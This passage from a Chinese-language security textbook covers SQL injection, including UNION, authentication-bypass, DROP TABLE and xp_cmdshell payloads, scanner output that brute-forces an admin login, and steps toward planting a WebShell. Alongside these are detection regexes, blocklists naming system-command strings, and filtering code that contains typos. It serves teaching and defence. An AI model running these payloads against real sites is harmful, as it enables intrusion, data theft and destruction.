我们不仅要注意即时返回的页面,还要查看链接页面。在最近的一次Pen-Test中,笔者看到一个网络请求被SQL注入攻击后,返回了一个类错误信息页面,单击错误旁边的“停止”标志图片,链接到了另外一个满是SQL服务器错误信息的页面。
另一个应该密切注意的是302页面重定向。在有机会注意到它之前,我们可能已经无奈地离开了一个含有数据库错误信息的页面。
注意
即使真的得到了一个ODBC错误信息回复,SQL注入仍有可能成功。很多时候,会得到一个“properly formatted, seemingly”类错误消息页面,告诉我们“an internal server error”或者“problem processing your request”。
有些网络请求被设计成一旦出现任何错误都返回站点的主页面。如果得到一个500错误页面,注入就很可能出现。很多站点都有一个默认的500服务器内部错误页面来说明服务器正在维护中,或礼貌地让访问者把他们的请求通过电子邮件发送给站点的维护人员,这时就有可能通过Procedure Techniques来利用这些站点。
4.SQL注入攻击的步骤
01 判断环境,寻找注入点。
02 找到注入点后,判断数据库类型。
03 根据注入参数类型,构造带有特征字符的SQL语句并提交。
04 获得信息,转入下一步攻击。
(1)攻击范例
SQL注入的脆弱点发生在程序开发员构造一个WHERE子句并伴随用户的输入的时候。例如,一个简单的ASP程序允许用户输入一个顾客ID,然后检索公司全部人员的名字,如果顾客ID作为ASP页面请求串的一部分返回,那么开发人员可以编写下面的代码获得数据。
strConn = "Provider=SQLOLEDB;Data Source=(local);" & _
"Database=Northwind;Integrated Security=SSPI"
Set cnn = Server.CreateObject("ADODB.Connection")
cnn.Open strConn
strQuery = "SELECT ContactName FROM Customers " & _
“WHERE CustomerID = '" & Request.Form("CustID") & "'"
Set rstResults = cnn.Execute(strQuery)
Response.Write(rstResults.Fields("ContactName").Value)
如果用户知道一个顾客的ID,就可以通过检索获得公司全部人员的名字。
(2)获得额外的数据
当然,对于一个攻击程序而言,即使它不知道任何顾客的ID,甚至不用去猜,也可以获得数据。为了完成这个工作,将下面的文本输入到应用程序调用顾客ID的文本框中。
customer ID:
'UNION ALL SELECT ContactName FROM Customers
WHERE CustomerID <>'
我们将会看到返回如下询问语句。
SELECT ContactName FROM Customers
WHERE CustomerID = ''
UNION ALL SELECT ContactName FROM Customers
WHERE CustomerID <>''
通过获得空和非空顾客的ID并集,这个查询语句会返回数据库中所有的相关姓名。事实上,这个UNION技术可以用来获得数据库中的大部分信息。看看这个CustomerID的值。
'UNION ALL SELECT FirstName + ' ' + LastName FROM
Employees WHERE LastName <>'
它将SQL语句变成如下内容。
SELECT ContactName FROM Customers
WHERE CustomerID = ''
UNION ALL SELECT FirstName + ' ' + LastName FROM
Employees WHERE LastName <>''
这就是攻击程序从数据库中获得的第一个员工的名字。
(3)更多的攻击范例
SQL注入仅凭数据曝光这个问题就已经够让人头疼了。但实际上,一个良好的攻击程序可以通过这个弱点获取数据库中所有的信息。看下面这个例子。
';DROP TABLE Customers;- -
SQL语句变成如下内容。
SELECT ContactName FROM Customers
WHERE CustomerID = ''
; DROP TABLE Customers;- - '
这个分号使语句和SQL Server隔离,所以,这里实际上是两个语句。第一个语句中不存在的名字,第二个语句则撤销整个Customers表。两个SQL Server注释符可以使子句不发生语法错误。
使用这个技术的变异,一个攻击程序可以在任何SQL语句或者存储过程中运行。通过使用xp_ cmdshell扩展存储过程,一个攻击程序同样可以在操作系统命令下运行。显然,这是一个严重的漏洞。
(4)绕过验证
最简单的SQL注入技术是绕过基于表单的登录。假设某个网络请求的代码如下。
SQLQuery = "SELECT Username FROM Users WHERE Username = '" & strUsername & "'
AND Password = '" & strPassword & "'"
strAuthCheck = GetQueryResult(SQLQuery)
If strAuthCheck = "" Then
boolAuthenticated = False
Else
boolAuthenticated = True
End If
当一个用户提交了用户名和密码后,查询(query)将搜索Users表单,看是否有一行中所包含的用户名和密码与用户提供的内容相同。如果找到了那一行,则用户名被储存到变量strAuthCheck中,同时说明该用户应该被鉴定;如果没有找到那一行,则strAuthCheck变量保持为空,同时该用户不被鉴定。
如果strUsername和strPassword变量可以包含任何我们想要的字符,我们可以修改当前的SQL查询结构,这样,即使不知道有效的用户名和密码,仍然何以得到一个有效的name值。这是如何实现的呢?假设用户像下面那样填充了一个登录表单。
Login: ' OR ''='
Password: ' OR ''='
这将给SQL Query以下值。
SELECT Username FROM Users WHERE Username = '' OR ''='' AND Password = '' OR ''=''
该请求并没有把用户提交的数据与现存的Users表单做比较,而是直接比较“AND”,显然,它总是返回“true”(“nothing”和“null”是有区别的)。由于WHERE语句中的所有验证条件都符合,所以用户名将使用表单中搜索到的第一行中的那个。接着,用户名将被传递给变量strAuthCheck。这样,程序的效力就得到了保证。
(5)SELECT语句查询
对于另一些情况而言,必须根据查询那些有缺陷的Web程序返回的结果来判断和调整提交的SQL查询字符串。
SELECT查询被用于从数据库中获取信息。大多数Web应用程序通过SELECT语句向数据库获取信息后动态地在页面上显示出来。通常情况下,数据库查询可以伪造,它将成为WHERE子句的一部分。我们可以通过插入UNION SELECT语句绕过Web程序允许我们查询的数据,从而得到其他数据。联合查询(UNION SELECT)允许在一条语句中使用多个SELECT查询,示例如下。
hippers WHERE 1 = 1 UNION ALL SELECT CompanyName FROM
Customers WHERE 1 = 1
它返回的结果中包含了第一个查询和第二个查询的结果,“ALL SELECT”中的“ALL”是必须要有的,这样可以逃过SELECT DISTINCT语句的限制并且不会妨碍其他语句,所以最好使用它。必须确认第一个查询,即Web应用程序编写者希望执行的那个被执行,不返回任何记录。这并不难,举个例子,有这如下表达式。
SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE City = '"
& strCity & "'"
构造如下插入串。
' UNION ALL SELECT OtherField FROM OtherTable WHERE ''='
这将导致如下的SQL查询语句被提交给SQL Server。
SELECT FirstName, LastName, Title FROM Employees WHERE City = '' UNION ALL SELECT
OtherField FROM OtherTable WHERE ''=''
让我们看看会发生什么:数据库搜索Employees表,查找“City”被设置为“null”的那一行,由于找不到,所以不会返回任何记录,只有我们注入的查询能够返回记录。在一些情况下,使用null值失败,是因为表里的确存在相应的值。
在这种情况下,可以构造一个表中不存在的值。只要输入一些不普通的值(最好是对照那些正常的值),当数据库需要一个自然数时,0或者负数都能工作得很好。对于文本参数,简单地用“NoSuchRecord”、“NotInTable”或更常见的“sjdajdhajsh”即可,只要不返回记录就好。
(6)圆括号
如果有缺陷的查询语句中包含圆括号“(”(就像下面的例子中那样),或者返回的错误信息里显式提醒缺少了“(”(Oracle会这么做),那么应该在提交的SQL注入字符串中加入“(”。通常的做法是在WHERE子句后面添加一个括号,但是在一些情况下,需要添加2个或者更多的括号。
下面是parenthesis.asp的源代码。
mySQL="SELECT LastName, FirstName, Title, Notes, Extension FROM Employees WHERE
(City = '" & strCity & "')"
插入如下的值。
"') UNION SELECT OtherField FROM OtherTable WHERE (''='"
那么,传送给SQL Server的语句就变成了如下内容。
SELECT LastName, FirstName, Title, Notes, Extension FROM Employees WHERE (City
= '') UNION SELECT OtherField From OtherTable WHERE (''='')
(7)LIKE语句查询
另一个非常严重的问题是陷入一个LIKE子句的陷阱。大多数的Web搜索程序使用LIKE子句查询数据库,示例如下。
SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE LastName LIKE
'%" & strLastNameSearch & "%'"
其中的“%”是通配符。在这个例子里,WHERE子句会返回“true”,只要LastName里有字符串含有strLastNameSearch即可。为了阻止SQL Server返回预计中的记录,构造的SQL语句里必须含有LastName里没有的字符串。Web搜索程序搜索的字符串来自用户的输入。通常有一个“'”和一个“%”在输入的字符串之前,因此,我们构造字符串时,需要在WHERE子句中匹配它们。如果将“null”作为搜索字符串,那么LIKE的参数会变成“%%”,这是一个全匹配,会返回所有记录。
5.SQL插入
(1)插入基础
关键字INSERT被用于向数据库添加信息,INSERT主要用在包括用户注册、论坛、添加商品到购物车等时。检查INSERT使用的弱点和检查WHERE一样。我们可能不想使用INSERT,所以如何避免被利用是一个重要的问题。
INSERT注入尝试常常会让数据库以行的形式返回结果,这将导致泛滥的单独引用,还可能导致SQL关键字意义改变。能否发现INSERT注入,取决于管理员的注意力是否集中和信息对数据库的操作是否规范,所以要特别注意。
上面提到了INSERT注入和SELECT注入的不同。只要允许用户进行注册,就提供了用于输入名字、地址、电话等信息的表单。在提交这个表单之后,攻击者为了进一步得到INSERT的弱点,必须要看到用户提交的信息。信息放在那里不要紧,但攻击者可以根据数据库里存储的名字及相应的权限发送SPAM邮件等。
(2)插入请求
一个插入的请求看起来就像这样。
INSERT INTO TableName VALUES ('Vaule One','Value Two','Value Three')
可以利用一个在参数VALUES中的子句看到其他数据。使用这种方法,SQL代码如下。
SQLString ="INSERT INTO TableName VALUES ('" & strValueOne & "', '" & strValueTwo
& "', '" & strValueThree & "')"
这样填写表单。
Name: ' + (SELECT TOP 1 FieldName FROM TableName) + ' Email: blah@blah.com Phone:
333- 333- 3333
使SQL的声明变为如下内容。
INSERT INTO TableName VALUES ('' + (SELECT TOP 1 FieldName FROM TableName) + '',
'blah@blah.com', '333- 333- 3333')
访问个人设置页面查看使用信息,第一个字段通常是用户名。如果不在Subselect标签中使用“TOP 1”,将得到一个错误信息,表示该Subselect返回了太多记录,查看表中所有的行,使用与NOT IN()相同的方法可以得到单独的记录。
6.SQL服务器存储过程的利用
(1)存储过程基础
一个完整安装的MSSQL服务器有上千个存储过程。如果能在一个后台使用MSSQL的网页应用程序得到SQL注入,就能使用这些存储过程实现一些非凡的成果。我将讨论很少的特殊的过程。取决于网页程序使用数据库的用户,只有一些可以工作,并不是所有的用户都可以利用。
我们应该知道,存储过程注入不能通过存储过程的返回值来确定注入是否成功,而取决于想要实现的目标,这个目标不一定是得到数据,返回的数据可能有其他意义。存储过程注入比一般的查询注入简单。存储过程注入的弱点利用示例如下。
simplequoted.asp?city=seattle';EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'
以后就不用担心列和数据的类型的匹配了。这个可能的弱点的输出,看上去像“程序无法返回”的错误信息一样。
(2)xp_cmdshell
xp_cmdshell {'command_string'} [, no_output]
master.dbo.xp_cmdshell是存储过程的圣杯,它带来了一个问题,能够调用命令行的数据库用户的和他的运行权限,这个并不可用除非这个网页程序使用的数据库用户是sa,运行级别为6。
(3)调用对象
sp_makewebtask [@outputfile =] 'outputfile', [@query =] 'query'
另外一个好的调用对象是master.dbo.sp_makewebtask,如上面代码所描述,它是一个本地的输出文件和一个SQL Statement。
sp_makewebtask可以查询并建立一个包含输出的网页,可以像使用一个UNC路径名一样使用一个本地输出,意思是,这个输出文件可以放在任何一台连接在Internet上的计算机中,并有可写的SMB共享(SMB请求不需要任何身份验证)。如果有一个防火墙限制了服务器连接Internet,可以试着把输出文件放在网页目录下(要知道或者猜测网页的目录)。同样值得注意的是,引用查询可能包含其他存储过程。
执行“Making "EXEC xp_cmdshell 'dir c: '"”这个查询,将在网页中给出“dir c:”的输出。当进行嵌套引用的时候,需要单独使用引用和双引号。
5.1.4 SQL注入检测工具
1.HDIS
HDIS的界面如图5-1所示。
图5-1 HDIS
2.NBSI2
NBSI2是NB联盟出品的一款功能强大的针对ASP的注入分析工具,可以对目标网站进行注入扫描注入分析,附带的NBSIUpload程序还可以利用注入点上传指定程序。NBIS2在字符型注入上明显优于其他工具。NBSI2的界面如图5-2所示。
图5-2 NBSI2
3.阿D注入工具
“阿D注入工具”是一个搜索能力极强的SQL注入工具,它的优势在于可以发现很多注入点,其界面如图5-3所示。
图5-3 阿D注入工具
4.Domain
Domain是“黑客动画吧”的“明小子”的作品,它集合了脚本入侵中的大部分功能,包括旁注检测、综合上传、SQL注入检测、数据库管理等。
• 旁注检测功能:包括虚拟主机域名查询、二级域名查询、整站目录扫描(多线程)、网站批量扫描(多线程)、自动检测网站排名、自动读取\修改Cookie、自动检测注入点。
• 综合上传功能:包括Dvbbs论坛上传漏洞功能、动力系统上传漏洞功能、乔客上传漏洞功能及自定义上传功能。程序默认防杀ASP木马,也可进行自选查杀。
• SQL注入检测功能:可批量对多个网站进行注入点扫描、SQL注入猜解(多线程检测,可猜解中文)、自动暴库、后台登录地址扫描(多线程)、检测设置专区。
• 数据库管理功能:包括新建数据库、浏览数据库、新建表及字段、压缩数据库、修改数据库密码、MD5加密、数据库密码破解、增加及删除记录等功能。
旁注Web综合检测程序的界面如图5-4所示。
图5-4 旁注Web综合检测程序
5.WIS和WED
WIS和WED是两个基于命令行的SQL注入工具,作者是小榕。wis.exe是用来扫描某个站点中是否存在SQL注入漏洞的,wed.exe则是用来破解SQL注入的用户名和密码的。两个工具的使用都非常简单,结合起来就可以完成从寻找注入点到注入攻击完成的整个过程。
(1)WIS
WIS(Web Injection Scanner)自动对整个网站进行SQL Injection脆弱性扫描,并且能够扫描后台登录界面。
扫描整个网站,找出存在SQL Injection的页面,示例如下。
C:\>wis http://www.someaspsite.com/
Web Injection Scanner (Protype 0.4)
by netXeyes, 2004.05.08 http://www.netXeyes.com security@vip.sina.com
Scanning http://www.someaspsite.com/, Page: Unlimited
Patient, Please....
(001 + 000) Checking: /shownews.asp?newsid=204
SQL Injection Found: /shownews.asp?newsid=204
Injection Page Final Result:
============================
/shownews.asp?newsid=204
C:\>
扫描后台管理页面,示例如下。
C:\>wis http://www.someaspsite.com/ /A
Web Injection Scanner (Protype 0.4)
by netXeyes, 2004.05.08 http://www.netXeyes.com security@vip.sina.com
Scanning http://www.someaspsite.com/, Page: Unlimited, Detect Access Page
Patient, Please....
(004 + 005) Access Page: /www.asp
(004 + 006) Access Page: /wwwstats.asp
(004 + 006) Access Page: /wwwlog.asp
(004 + 006) Access Page: /wstats.asp
(004 + 006) Access Page: /work.asp
(005 + 007) Access Page: /webstats.asp
(000 + 016) Access Page: /gansu2/tjhg.files/admin_index.asp
(000 + 015) Access Page: /gansu2/tjhg.files/admin.asp
(000 + 012) Access Page: /gansu2/gs.files/admin_index.asp
(000 + 011) Access Page: /gansu2/gs.files/index_admin.asp
(000 + 010) Access Page: /gansu2/tjhg.files/admin_del.asp
(000 + 009) Access Page: /gansu2/ddddd.files/manage.asp
(000 + 003) Access Page: /gansu2/ddddd.files/index_admin.asp
Access Page Final Result:
============================
/gansu2/login.asp (200 OK)
Scan Finished
C:\>
(2)WED
WED(Web Entry Detector)针对存在SQL Injection的网站,对管理账号进行扫描。
对通过WIS扫描出的存在SQL Injection漏洞的网站进行后台管理账号扫描,示例如下。
C:\>WED.exe http://www.someaspsite.com/shownews.asp?newsid=1544
Web Entry Detector, Ver 1.0 by netXeyes, 2004/08/26
http://www.netXeyes.com, security@vip.sina.com
#### Phrase 0: Check Enviroment ####
Get Row 1, Set Sensitive 250, Max Threads is 30
File C:\TableName.dic Opened
File C:\UserField.dic Opened
File C:\PassField.dic Opened
#### Phrase 1: Process Argv ####
Host:www.someaspsite.com
Page:/shownews.asp?newsid=1544
#### Phrase 2: Detect SQL Injection ####
SQL Injection Detected.
#### Phrase 3: Get Cookies ####
Tag: 2017
Cookie: ASPSESSIONIDSADSBTAS=BIMAMMNCLCCIFICPLNEMFKND; path=/
#### Phrase 4: Starting Get Table Name ####
Tag: 45
Got Table Name is "users"
#### Phrase 5: Starting Get Name Field ####
Tag: 45
Got Name Field is "name"
#### Phrase 6: Starting Get Length of Field "name" ####
Tag: 24
Got Length of Field "name" is: 13
#### Phrase 7: Starting Get Password Field ####
Tag: 45
Got Password Field is "pwd"
#### Phrase 8: Starting Get Length of Field "pwd" ####
Tag: 24
Got Length of Field "pwd" is: 9
#### Phrase 9: Starting Brute Field "name" and "pwd" (Access Mode) ####
name is: administrator
pwd is: admin@bvn
C:\>
到这一步,就可以通过WIS扫描获得的管理页面后台登录了。
5.1.5 对SQL注入的检测
下面介绍SQL注入检测的相关内容。
1.SQL注入的正则表示式
我们应该考虑用户的各中类型的输入(如表单或Cookie信息),而且如果发现来自一个规则的许多警告,就需要留意单引号或者分号,也许些字符是Web应用程序创造的,可以合法地在Cookie中输入。因此,我们需要根据特殊的Web应用程序评估每一个规则。
前面提到,一个详细的检测SQL注入攻击的正则表达式要留意SQL特殊的meta-characters,如单引号(’)、双重破折号(--)。为了查出这些字符和及其Hex等值,可以使用以下正则表达式。
(1)检测SQL meta- characters的正则表达式
/(\%27)|(\’)|(\- \- )|(\%23)|(#)/ix
首先检查单引号等值的Hex、单引号或者双重破折号。这些是SQL Server或Oracle字符,表示后面的内容为评论,即后面的内容都将被忽略。另外,如果服务器使用MySQL,需要留意“#”和与它等值的Hex的出现。
注意
不需要检查与双重破折号等值的Hex,因为这不是HTML meta-character,所以浏览器不会进行编码。而且,如果攻击者设法手工修改双重破折号为它的Hex值“%2D”,SQL注入将会失败。
(2)典型的SQL注入攻击的正则表达式
/\w*((\%27)|(\’))((\%6F)|o|(\%4F))((\%72)|r|(\%52))/ix
\w* - //零或多个字符或者下划线
(\%27)|\’ - //单引号或它的 Hex 等值
(\%6 F)|o|(\%4 F))((\%72)|r|- (\%52) //“or”的大/小写及它的 Hex 等值
SQL UNION查询在SQL注入中同样是很常见的。如果前面的正则表达式仅仅检测单引号或者其他的SQL Meta Characters,会造成很多的错误。应该进一步修改查询,检测单引号和关键字“union”,这同样可以进一步扩展其他的SQL关键字,如“select”、“insert”、“update”、“delete”。
(3)检测SQL注入UNION查询关键字的正则表达式
/((\%27)|(\’))union/ix
(\%27)|(\’) - //单引号和它的 Hex 等值
(4)“union”、“-union”关键字
可以同样为其他SQL查询定制表达式,如select、insert、update、delete、drop等。
在这个阶段,攻击者已经发现Web应用程序存在SQL注入漏洞,所以将尝试利用它。如果攻击者认识到后端服务器是SQL Server,一般会尝试运行一些危险的储存和扩展储存过程。
这些过程一般以“sp”或“xp”开头。攻击者可能尝试运行“xp_cmdshell”命令扩展储存过程(通过SQL Server执行Windows命令)。SQL服务器的sa用户有执行这些命令的权限。同样,可以通过xp_regread、xp_regwrite等储存过程修改注册表。
(5)检测SQL Server SQL注入攻击的正则表达式
/exec(\s|\+)+(s|x)p\w+/ix
exec - //请求执行储存或扩展储存过程的关键字
(\s|\+)+ - //一个或多个空白或它们的 HTTP 等值编码
(s|x) p- //“sp”或“xp”用来辨认储存或扩展储存过程
\w+ - //一个或多个字符或下划线来匹配过程的名称
2.跨站脚本(CSS)的正则表达式
当发动CSS攻击或检测一个网站漏洞时,攻击者可能首先使简单的HTML标签,如<b>(粗体)、<i>(斜体)或<u>(下划线),或者可能尝试简单的<script>标签,如“<script>alert("OK")</script>”。大多数出版物和网络传播的检测网站是否有CSS漏洞,通常都拿这语句作为例子,因为它可以很简单地被检测出来。
然而,高明一点的攻击者可能用它的Hex值替换整个字符串,这样,<script>标签会以“% 3C%73 %63 %72%69%70%74%3E”的形式出现。另一方面,攻击者可能使用Web代理服务器(如Achilles)自动转换一些特殊字符,如将“<”转换成“%3C”、将“>”转换成“%3E”。这样,攻击发生时,URL中通常以Hex等值代替角括号。
下列正则表达式将检测任何文本中包含的HTML的角括号,它将捕获试图使用“<b>”、“<u>”或“<script>”标签的程序,这里的正则表达式应该忽略大小写。我们需要同时检测角括号和它的Hex等值(%3C|<)。要检测Hex进制转化的整个字符串,必须检测用户输入的数字和“%”,即使用“[a- z0- 9%]”语句,但这可能会导致一些错误。
(1)一般CSS攻击的正则表达式
/((\%3C)|<)((\%2F)|\/)*[a- z0- 9\%]+((\%3E)|>)/ix
((\%3C)|<) //检查“<”和它的 Hex 等值
((\%2F)|\/)* //结束标签或它的 Hex 等值
[a- z0- 9\%]+ //检查标签里的字母或它的 Hex 等值
((\%3E)|>) //检查“>”或它的 Hex 等值
跨站脚本同样可以使用<img src=>技术。
(2)"<img src" CSS攻击正则表达式
/((\%3C)|<)((\%69)|i|(\%49))((\%6D)|m|(\%4D))((\%67)|g|(\%47))[^\n]+((\%3E)|
>)/I
(\%3 C)|<) - //“<”或它的 Hex 等值
(\%69)|i|(\%49))((\%6D)|m|(\%4D))((\%67)|g|(\%47) – //“img”或它的大小写
Hex 等值的变化组合
[^\n]+ - //除了换行符以外的任何跟随“<img”的字符
(\%3E)|>) - //“>”或它的 Hex 等值
(3)CSS攻击的极端的正则表达式
/((\%3C)|<)[^\n]+((\%3E)|>)/I
这个规则很简单,就是寻找“<+除换行符外的任何字符+>”。由于Web服务器和Web应用程序的架构不同,这个规则可能产生一些错误,但它能够保证捕获任何CCS或者类似CSS的攻击。
3.注入总结
在本节中,我们提出了不同种类的正则表达式规则来检测SQL注入和跨站脚本攻击,有些规则简单而极端,任何一个潜在的攻击都将提高警惕,但这些极端的规则可能导致一些主动的错误。考虑到这一点,我们修改了这些简单的规则,利用了其他样式,以便检查得更准确一些。在这些网络应用形成的攻击检测中,推荐将这些作为调试IDS或日志分析方法的起点。
5.1.6 对SQL注入的防护
下面介绍对SQL注入的防护。
1.SQL攻击检测/防御/跟踪模型
针对SQL攻击的防御,前人做过大量的工作,提出的解决方案包括如下4种。
• 方案一:封装客户端提交的信息。需要RDBMS的支持,目前只有Oracle采用该技术。
• 方案二:替换或删除敏感字符/字符串。这是一种不完全的解决措施,举例说明系统的弱点。当客户端的输入为“…ccmdmcmdd…”时,在对敏感字符串“cmd”进行替换和删除以后,剩下的字符正好是“…cmd…”。
• 方案三:屏蔽出错信息。其实质是在服务端处理完毕之后进行补救,因为攻击已经发生,这里只是阻止攻击者知道攻击的结果。
• 方案四:在服务端正式处理之前对提交数据的合法性进行检查等。被多数研究者认为是最根本的解决方案。在确认客户端输入内容的合法性之前,服务端拒绝进行关键的处理操作。
方案四与方案二的区别在于:方案四一旦检测到敏感字符/字符串,针对数据库的操作将即行中止,而方案二是对有问题的客户端输入进行补救,不中止程序后续操作。方案二虽然在一定程度上有效,但有“治标不治本”的嫌疑,随着新的攻击方式不断出现,只要允许服务端程序使用这些提交信息,就有受到攻击的可能。
因此,本节针对SQL注入攻击的检测/防御/备案模型,即基于提交信息的合法性检查,在客户端和服务端进行两级检查,只要任一级检查没有通过,提交的信息就不会进入query语句,因而不会构成攻击。在客户端和服务端进行合法性检查的函数基本相同。客户端检查的主要作用是减少网络流量、降低服务器负荷,将一般误操作的低等级攻击与高等级攻击行为区分开来。在技术上,客户端的检查是有可能被有经验的攻击者绕开的,在这种情况下,提交的数据被直接发往服务端,所以,在服务器端设置二级检查就显得十分必要。由于正常提交到服务端的数据已经在客户端检查过,因此,服务端检查发现的提交异常基本可以认定为恶意攻击行为所致,此时就可以中止提交信息的处理,进行攻击备案,并对客户端给出出错或警告提示。对应模型如图5-5所示。
图5-5 SQL注入攻击的检测/防御/备案模型
2.SQL敏感字符防护
对提交信息的检查,主要包括数据类型检查、数据长度检查和敏感字符过滤。前两项可利用函数直接实现,而敏感字符过滤则需要应用开发方进行相应的开发。SQL注入攻击敏感的字符/关键词包括“exec”、“xp_”、“sp_”、“declare”、“Union”、“cmd”、“+”、“//”、“..”、“;”、“ˊ”、“--”、“%”、“0x”。
经过总结,query语句是必须用到的,因此可以针对这些敏感字符设定过滤函数,在把这些上传的参数结合到查询语句之前对其进行过滤。下面是两个函数(即过滤模块)的主要代码。
function Myfilter(str)
//这个函数的作用是当需要检查的参数中含有非法字符时返回布尔值“True”
Dim strFilter, arrFilter, binFlag, i
strFilter="exce, xp_, sp_, declare, cmd, Union, //, .., 0x, ˊ, --, ;"
//如果还有其他敏感的字符或者符号,可以将其直接加入上面这行代码中
binFlag=Flase
arrFilter=Split(strFilter, ",")
For i=0 To UBound(arrFilter)
If Instr(UCase(str), UCase(arrFilter(i)))>0 Then
binFlag= True
Exit For
End if
Next
Myfilter=binFlag
end function
function check()
//这个函数的作用数调用 Myfilter 函数对提交的参数进行检查。如果提交的参数中含有非法字符,给
出提示;否则,向服务器端提交参数
dim Uname, UPwd
Uname=Tirm(document, Thisform, Username, value)
UPwd= Tirm(document, Thisform, UserPwd, value)
if Myfilter(Uname) or Myfilter(UPwd) then
Alert("提交的用户名或者密码中含有非法字符!")
Exit function
else
document, Thisform, submit
end if
end function
提交非法字符的人都有可能是SQL注入的攻击者。但考虑到用户在正常使用中的误操作也有提交非法字符/字符串的可能,因此,客户端的一级检查,无论是对用户误操作,还是对一般性攻击,处理措施只是中止信息的提交,给出友好的出错提示。如果经过一级检查以后,提交到服务器端的信息中仍然包括非法字符/字符串,那么唯一的可能就是攻击者绕开了客户端的一级检查。对于这种危险的信号,服务器端将从收到的提交信息数据包中提取攻击源的IP地址,存入数据库备查,同时中止针对数据库的操作。
出错或警告提示的代码如下。
<%
//Myfilter()函数的代码与上面客户端的代码基本相同,当检测到非法字符时,提交非法字符的源计算
机 IP 地址将被存入一张名为 IP_Attack 的表,该表还会记录该攻击源第一次和最后一次提交非法字符的时间,
以及提交非法字符的次数,对应的字段分别为 IP、FirstAttack、LastAttack、Times
Dim Username, UserPwd //定义变量
Username=Trim(Request("Username")) //读取提交信息并给变量赋值
UserPwd=Trim(Request("UserPwd"))
If Myfilter(Username) or Myfilter(UserPwd) then //如果检测到异常进行攻击备案处理
Dim userip, userip1, userip2 //定义变量
Dim conn, rs, query, strAdd, strUpdate //以下代码用于获取攻击源 IP 地址
userip1 = Request, ServerVariables("HTTP_X_FORWARDE_FOR")
userip2 = Request, ServerVariables("REMOTE_ADDR")
if userip1 = "" then
userip = userip2
else
userip = userip1
end if
query = "Select * form IP_Attack where ip
= ˊ"&userip&"ˊ" //根据 IP 地址构造查询
strAdd = "Insert into IP_Attack(IP, FirstAttack, LastAttack) Values(ˊ"& userip
&"ˊ, ˊ"& now() &"ˊ, ˊ"& now &"ˊ)"
set conn = Server.CreateObject("Adobd.Connection") //与数据库建立连接
set rs = Server.CreateObject("Adobd.Recordset")
conn.open query, Conn, 1, 2, adCmdTable
if Rs.RecordCount<=0 then //根据数据库中的备案情况,决定添加新记录或更新已有记录
…… //经过非法字符过滤的提交参数将被认为是不具有威胁的,执行正常处理
end if
%>
防范的时候需要对用户的输入进行检查,特别是对一些特殊字符,如单引号、双引号、分号、逗号、冒号、连接号等进行转换或者过滤。
需要过滤的特殊字符及字符串有“net user”、“xp_cmdshell”、“/add”、“exec master.dbo.xp_ cmdshell”、“net localgroup administrators”、“select”、“count”、“Asc”、“char”、“mid”、“'”、“:”、“"”、“insert”、“delete from”、“drop table”、“update”、“truncate”、“from”、“%”。
3.数据处理
所有的客户端数据可以被恶意提交的字符或字符串清除,这可能在所有的应用程序中实现,不仅仅是在使用SQL查询的时候。最好的数据过滤方式是不用规则的表达方式,使它只包括我们想要的字符类型。
举个例子,下边的regxp只能返回字母和数字,尽可能过滤“s/[^0- 9a- zA- Z]//g”这样的特殊字符。尽量使用数字,以后只使用数字和字母。如果需要各种各样的标志或标点,要确保完全将它们转换成HTML标记,如“"e;" or">”。例如,一个用户提交了一个电子邮件地址,只允许使用数字、字母、“@”、“_”、“.”和“-”,原因在于,只有这些字符可以转换成HTML标记。
4.编写安全的Web程序
特殊防护SQL注入规则如下。
• 尽量使用数字作为数据。
• 限制网页应用程序的数据库用户在数据库中的权限。
如果这个用户只需要访问一些预定义的存储过程,就不要赋予这个用户访问所有存储过程的权限。
5.1.7 小结
由于SQL注入攻击针对的是应用开发过程中编程的不严密,因而对于绝大多数防火墙来说,这种攻击是“合法”的。问题的解决只有依赖于严谨的编程。专门针对SQL注入攻击的工具较少,Wpoison对于用ASP、PHP进行的开发有一定帮助。本节的DDL模型可以作为一个整体解决方案,对代码稍加变动,也可以用于SQL Server以外的关系数据库。
5.2 Access注入获取WebShell
SQL注入攻击按照其攻击的时间特性和方法有效性,总体思路如下。
• 扫描并发现SQL注入的具体位置,通过扫描软件或者手工判断获取存在SQL注入漏洞的页面和网站地址。
• 被攻击目标信息的收集和采集。对存在SQL注入漏洞的页面进行测试,通常可以通过一些SQL注入工具进行目标信息的收集与采集,如Domain 3.5、Havij、WebCruiser、Pangolin等。通过这些工具可以收集目标站点操作系统类型、IIS版本、数据库版本、数据库用户、数据库用户密码、列目录等信息。能够利用的SQL注入点猜测数据库和表的内容,通过猜测管理员表中的字段获取管理员的用户名和密码。
• 分析目前数据库用户的权限。对于MySQL、MSSQL和Oracle数据库,需要分析存在SQL注入点的当前数据库用户权限,如果是root用户或者sa等较高权限,则可以直接执行各种系统命令。例如,直接添加用户并授权后,通过3389或者SSH可以直接进入对方服务器。
• 寻找并获取网站的真实路径。通过出错信息、SQL注入读取网站虚拟目录路径等方法获取网站的真实路径。获取网站的真实路径后,可以通过备份数据库、恢复数据库、数据库查询、插入一句话木马到网站配置文件或者新闻输入等位置来获取一句话后门。
• 寻找上传页面,上传网页木马,获取WebShell权限。在获得管理员密码后,通过登录网站后台寻找上传页面,上传网页木马。有些网站不能直接上传网页木马,但可以利用各种上传漏洞和构建特殊文件上传网页木马。如果均不能上传网页木马,则仅能获得管理员权限。
对于Access数据库和ASP网站组合使用中存在的SQL注入点,处理思路主要有下面5个。
• 查看是否有直接可以上传WebShell的地方。如果有,就可以通过直接上传WebShell来获得WebShell控制权限。
• 存在上传地址,但无法直接上传WebShell时,可以尝试通过IIS解析漏洞等方法绕过对文件后缀名的验证。
• 备份数据库。在存在输入的页面上添加一句话木马,然后将数据库备份为ASA或者ASP文件。
• 本地构建上传页面,通过抓包等方法从本地提交到服务器。
• 通过查询直接将一句话写入一个文件中(此方法就是本节用到的方法)。
下面就一个具体的目标介绍如何实施渗透。
5.2.1 扫描漏洞
本次渗透测试使用一个国外的工具WebCruiser,它提供了免费版本供安全爱好者使用,官方下载地址为http://sec4app.com/。该软件不需要安装,不过需要.NET FrameWork 2.0以上环境的支持。
运行WebCruiser,如图5-6所示,在“URL”文本框中输入本次需要扫描的地址“http://www. xxx.org”,然后在菜单栏中单击“Scanner”按钮和“Scan Current Site”标签对目标站点进行扫描。WebCruiser的扫描效果还是不错的,虽然也有误报,但对Java程序的扫描效果非常好。本次扫描结果表明,目标网站有2个漏洞,一个是SQL注入漏洞,另一个是跨站漏洞。
图5-6 扫描漏洞
5.2.2 SQL注入测试
